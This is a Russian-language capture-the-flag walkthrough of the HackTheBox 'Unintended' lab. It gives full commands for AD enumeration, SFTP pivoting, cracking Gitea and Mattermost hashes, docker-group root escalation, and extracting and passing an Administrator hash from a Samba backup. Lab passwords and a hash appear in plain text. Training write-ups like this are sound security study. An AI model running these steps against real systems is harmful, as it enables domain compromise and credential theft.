HackTheBox. Прохождение Mini Pro Lab Unintended

от автора

Компания Unintended недавно перевела свою инфраструктуру на Active Directory. Руководство обеспокоено тем, что устаревшие методы и упущенные из виду ошибки конфигурации могут сделать среду уязвимой для внешних угроз. Вашей фирме поручено провести тестирование на проникновение с целью определения, может ли злоумышленник перейти от первоначального доступа к полному контролю над доменом.

Unintended предоставляет практический опыт решения распространенных ошибок при развертывании Active Directory, демонстрируя, как злоумышленники могут переключаться между службами для повышения привилегий. Машина сочетает методы повышения привилегий в Linux с путями атак на Active Directory, что делает её ценной площадкой для практики как для специалистов по наступательной, так и по оборонительной безопасности.

Unintended предназначена для тех, кто хочет расширить свои знания об эксплуатации Active Directory в среде, ориентированной на Linux. Машина хорошо подходит для тех, кто хочет понять реальные ошибки конфигурации в гибридной инфраструктуре.

В этой лаборатории Red Team Operator уровня I игроки столкнутся со следующими темами:

— Перечисление резервных копий Active Directory

— Боковое перемещение

— Пивотинг

— Повышение привилегий в Linux

— Криминалистический анализ резервных копий

— Атаки на веб-приложения

По заданию нам даны 3 айпи адреса.

10.13.38.57

10.13.38.58

10.13.38.59

Проверим, что они доступны.

ping -c 1 10.13.38.57 | grep ttl

ping -c 1 10.13.38.58 | grep ttl

ping -c 1 10.13.38.59 | grep ttl

Просканируем порты на этих машинах.

sudo masscan -p1-65535,U:1-65535 10.13.38.57 —rate=500 -e tun0 > unintended.57

sudo masscan -p1-65535,U:1-65535 10.13.38.58 —rate=500 -e tun0 > unintended.58

sudo masscan -p1-65535,U:1-65535 10.13.38.59 —rate=500 -e tun0 > unintended.59

Теперь просканируем порты более подробно nmapом.

nmap -p22,53,88,135,139,389,445,464,636,3268,3269,49152,49153,49154 -sC -sV -oA nmap/unintended.57 10.13.38.57

nmap -p21,22 -sC -sV -oA nmap/unintended.58 10.13.38.58

nmap -p22,80 -sC -sV -oA nmap/unintended.59 10.13.38.59

Как видно из первого скана, наш домен называется unintended.vl, а имя машины dc.

Давайте добавим эту информацию в файл hosts.

sudo nano /etc/hosts

Если перейдем на веб сервис по адресу 10.13.38.59 то увидим следующую страницу.

Нас приветствует страница заглушка.

Проверим домен контроллер на нулевую аутентификацию.

netexec smb 10.13.38.57 -u » -p » —users

Или через RPC.

rpcclient -U » -N 10.13.38.57 -c enumdomusers | cut -d'[‘ -f2 | cut -d’]’ -f1

Нам доступны имена пользователей, давайте сохраним их в файл users.txt.

nano users.txt

Также nmap сказал нам, что включена анонимная привязка LDAP — отличный вектор перечисления.

Давайте перечислим LDAP.

ldapsearch -H ldap://dc.unintended.vl -x -LLL -s base

Получаем следующую информацию:

Домен — unintended.vl

Контроллер — dc.unintended.vl (компьютерная учётка: dc$)

Тип — Samba AD (не Windows)

Функциональный уровень —2008 R2 (уровень 4)

Аутентификация — NTLM, Kerberos (GSSAPI/SPNEGO)

Репликация — Включена, сервер — Global Catalog

Активность — Очень низкая (USN=4488)

LDAP Controls — Поддержка пагинации, запроса прав, шифрования

Доступные разделы — 5 контекстов (домен, конфигурация, схема, две DNS-зоны)

Мы можем перечислить общие ресурсы.

netexec smb 10.13.38.57 -u » -p » —shares

Есть общий ресурс home, но он нам пока недоступен.

Проверим пользователей на ASREProast.

impacket-GetNPUsers -usersfile users.txt unintended.vl/

Но нужных флагов не установлено.

Проведем фаззинг поддоменов.

ffuf -u http://10.13.38.59/ -H ‘Host: FUZZ.unintended.vl’ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

Нашлось два домена, но сделаем ещё один тест с применением другой утилиты.

dnsenum —dnsserver 10.13.38.57 —enum -p 0 -s 0 -f /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt unintended.vl

Здесь на момент написания статьи у машины что-то с днс сервером, хотя масскан говорит, что порт открыт. Вывод должен быть таким.

P.S. Позже я разобрался, дело было в моем фаерволе, он почему-то начал блокировать 53 порт.

Пропишем новые поддомены в файл hosts.

sudo nano /etc/hosts

Перейдя по адресу нас встречает Gitea: Git with a cup of tea.

Перейдя в репозитории, видим, что Хуан имеет открытый репозиторий.

Также видим пользователей.

Походим по репозиториям и находим следующие коммиты.

http://code.unintended.vl/juan/DevOps/commit/7c54501b040a15a0e57beade1c8910609ec7c785

http://code.unintended.vl/juan/DevOps/commit/75f1f713696016f7713e33f836b05ce14784fc22

Попробуем подключиться с полученным учетными данными к ssh.

ssh ftp_user@web.unintended.vl

Нам дают подсказку — This service allows sftp connections only.

Подключимся по sftp как нам советуют.

sftp ftp_user@web.unintended.vl

Но на ftp ничего не находим.

Согласно разделу на HackTricks, служба SFTP может быть неправильно настроена, разрешая переадресацию портов и туннелирование, даже если она запрещает вход по SSH, что позволяет нам исследовать и получать доступ к внутренним портам и сетям.

Давайте настроим SOCKS-прокси:

ssh -D 1080 -N ftp_user@web.unintended.vl

Поправим конфиг proxychains4.

sudo nano /etc/proxychains4.conf

Теперь можем запустить nmap через прокси и просканировать порты.

sudo proxychains4 nmap -sT -Pn 127.0.0.1

На сервере открыт порт mysql3306.

Подключимся к серверу базы данных.

sudo proxychains4 mysql -h 127.0.0.1 -u root -p

Посмотрим базы данных.

show databases;

Нас будет интересовать база данных gitea.

Переходим в неё.

use gitea;

И смотрим таблицы.

show tables;

Нас интересует таблица пользователей users, извлечем информацию из неё.

select email,passwd,passwd_hash_algo,salt,is_admin from user;

Мы работаем с шифрованием pbkdf2$50000, со страницы hashcat можно узнать режим для брутфорса и правильный вид хеша.

10900PBKDF2-HMAC-SHA256 sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt

Преобразует полученные данные в нужный формат.

Для начала выпишем хеш и соль.

хешf57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902

соль6f7cf4aa34feb922092ef9f7ca342fa5

Преобразуем соль в base64.

echo ‘6f7cf4aa34feb922092ef9f7ca342fa5’ | xxd -r -p | base64

Преобразуем хеш в base64.

echo ‘f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902’ | xxd -r -p | base64

Создадим файл для брута.

sudo nano administrator.gitea.hash

И брутим с использованием hashcat.

hashcat -m10900 administrator.gitea.hash rockyou.txt

Пароль успешно сбрутился, но если повторим для Хуана, нас ждем неудача.

С полученным паролем заходим в админку.

Перейдя в репозитории видим, что доступен новый репозиторий.

В истории команд находим пароль.

http://code.unintended.vl/juan/home-backup/src/branch/main/.bash_history

Проверим, что учетка валидная.

netexec smb 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —shares

Получим информацию о пользователе juan.

netexec ldap 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —query «(sAMAccountName=juan)»

Хуан принадлежит группе Web Developers.

netexec ldap 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —query «(sAMAccountName=abbie)» «»

Эбби состоит в группе Backup Operators.

Также можем перечислить компьютеры.

netexec ldap 10.13.38.57 -u ‘juan’ -p ‘theJUANman2019’ —query «(objectCategory=computer)» «»

Видно, что у нас три компьютера в домене.

Подключаемся под Хуаном, осматриваемся и забираем первый флаг.

ssh -l juan@unintended.vl web.unintended.vl

Никаких привилегий sudo нет.

Поэтому переключимся на Mattermost.

sudo proxychains4 nmap -sT -Pn 127.0.0.1 -p8065

Не забываем правильно настроить FoxyProxy.

http://127.0.0.1:8065/login

Заходим в Mattermost под учеткой Хуана находим следующую переписку.

Кроме упоминания о пароле находим информацию, что в работе есть база данных PostgreSQL, которая работает в докере.

Поищем эту базу данных.

ps aux | grep postgres

sudo proxychains4 nmap 172.18.0.3 -p5432 -Pn -sT

Порт открыт, значит можем подключаться.

sudo proxychains4 psql -h 172.18.0.3 -d mattermost -U mmuser

Сверясь с документацией https://github.com/mattermost/docker/blob/main/env.example можем узнать имя и пароль к базе данных.

Извлекаем нужные нам данные.

SELECT username,password,authdata,authservice,email,nickname,firstname,lastname,roles FROM users;

У нас есть три хеша, сохраним их в файл.

nano hashes.txt

Узнаем тип хеша.

hashid hashes.txt

Вспоминая подсказку из чата как должен выглядеть пароль создаем словарь с использованием cook.

go install -v github.com/glitchedgitz/cook/v2/cmd/cook@latest

/home/kali/go/bin/cook abbie,spencer,Abbie,Spencer,theabbs 1920-2024 > abbie.wordlist

И запускаем hashcat.

hashcat -m3200 hashes.txt abbie.wordlist

Снова зайдем в Mattermost, но уже под новой учеткой, найдем переписку и получим новый пароль.

Проверим учетку.

netexec smb 10.13.38.57 -u abbie -p ‘Hiu8sy8SA8h2’ —shares

Подключаемся к серверу.

ssh -l abbie@unintended.vl backup.unintended.vl

Эбби состоит в группе Docker, что позволяет легко получить права root на хосте, смонтировав корневую файловую систему в контейнере.

Посмотрим образы.

docker run -v /:/mnt —rm -it python:3.11.2-slim chroot /mnt sh

Забираем второй флаг.

В домашней папке находим папку scripts.

Посмотрим файл server.py.

cat server.py

Получаем логин и пароль для ftp сервера.

Подключаемся к ftp серверу.

 Переходим в папку с бэкапов домена.

Переходим в папку с бэкапов домена.

Переходим в папку с бэкапов домена.

И загружаем бэкап самбы.

Распаковываем полученный файл.

tar -xvjf samba-backup-2024-02-17T20-32-13.580437.tar.bz2

Установим нужные инструменты для работы с самбой.

sudo apt install ldb-tools -y

sudo apt install samba-dsdb-modules -y

Ищем хеш в базе данных.

ldbsearch -H private/sam.ldb ‘(objectClass=user)’ sAMAccountName ‘unicodepwd’

Согласно документации хеш ещё нужно декодировать.

https://samba.tranquil.it/doc/en/samba_fundamentals-about_password_hash.html

python3 -c «import codecs, binascii; print(binascii.hexlify(codecs.decode(b’Nv4kHqDqpTPV+si9f7b4ow==’, ‘base64’)).decode())»

Проверим полученный хеш на домене.

netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3

Учётка работает, посмотрим теперь шары к которым не было доступа.

netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 —shares

Теперь шара доступа на запись и чтение, подключимся к ней и заберем флаг.

netexec smb 10.13.38.57 -u Administrator -H 36fe241ea0eaa533d5fac8bd7fb6f8a3 —spider home —pattern txt

Получаем третий флаг.

Мы собрали три флага, остался последний четвертый, вернемся на backup сервер и переключимся в докер.

docker exec -it scripts_ftp_1 bash

Перейдем в папку volumes.

cd volumes

Посмотри файлы в папку docker_src.

ls docker_src/

Здесь лежат бэкапы, нам нужно упаковать их и забрать себе на kali, сначала запакуем файлы.

tar -zcf docker_src.tar.gz docker_src/

Выйдем из контейнера и скопируем файлы из контейнера на бэкап сервер.

exit

Перенесем файл в папку /tmp.

Скопируем файл себе на kali и разархивируем.

scp abbie@unintended.vl@backup.unintended.vl:/tmp/docker_src.tar.gz .

sudo tar -zxvf docker_src.tar.gz

Загружаем три скрипта для работы с duplicati.

Создаем папку restore, там будут лежать восстановленные данные.

mkdir restore

Запускаем скрипт восстановления, предварительно изменив права на docker_src.

sudo chown kali:kali docker_src

sudo chmod 777 docker_src

python3 restore_from_python.py

Будет много ошибок и это займет достаточно времени.

Проверим папки, должно быть так.

ls restore/source/root/scripts/

Проверим базу данных.

tree restore/source/root/scripts/duplicati

И начинаем работать с базой данных.

sqlite3 restore/source/root/scripts/duplicati/config/Duplicati-server.sqlite

Запросим таблицы.

Нам нужна таблица с опциями.

select * from Option;

Теперь у нас есть пасс-фраза.

Сейчас нам нужно провести атаку на Duplicati, полный разбор которой находится здесь — https://read.martiandefense.org/duplicati-bypassing-login-authentication-with-server-passphrase-024d6991e9ee, но мы воспользуемся скриптом.

Приводим данные к такому виду.

Подменяем эти параметры в Storage и перелогиневаемся.

Создаем новое задание для бэкапа.

Даём имя заданию и выключаем шифрование.

К сожалению здесь сработал лимит на картинки и дальше пойдет только текст. Красивый ПДФ можно забрать у меня на канале — https://t.me/yashechka85

Выбираем папку назначения для бэкапа.

Выбираем, что мы будем бэкапить.

В шедулере выставляем все дни.

Сохраняем задание.

Теперь запускаем задание.

Проверяем папку /tmp/flag/.

И сделаем восстановление файлов.

Вводим путь.

И делаем синхронизацию.

И забираем последний флаг.

Всем флаги захвачены, поздравляю с получением ещё одного сертификата.

ссылка на оригинал статьи https://habr.com/ru/articles/1041376/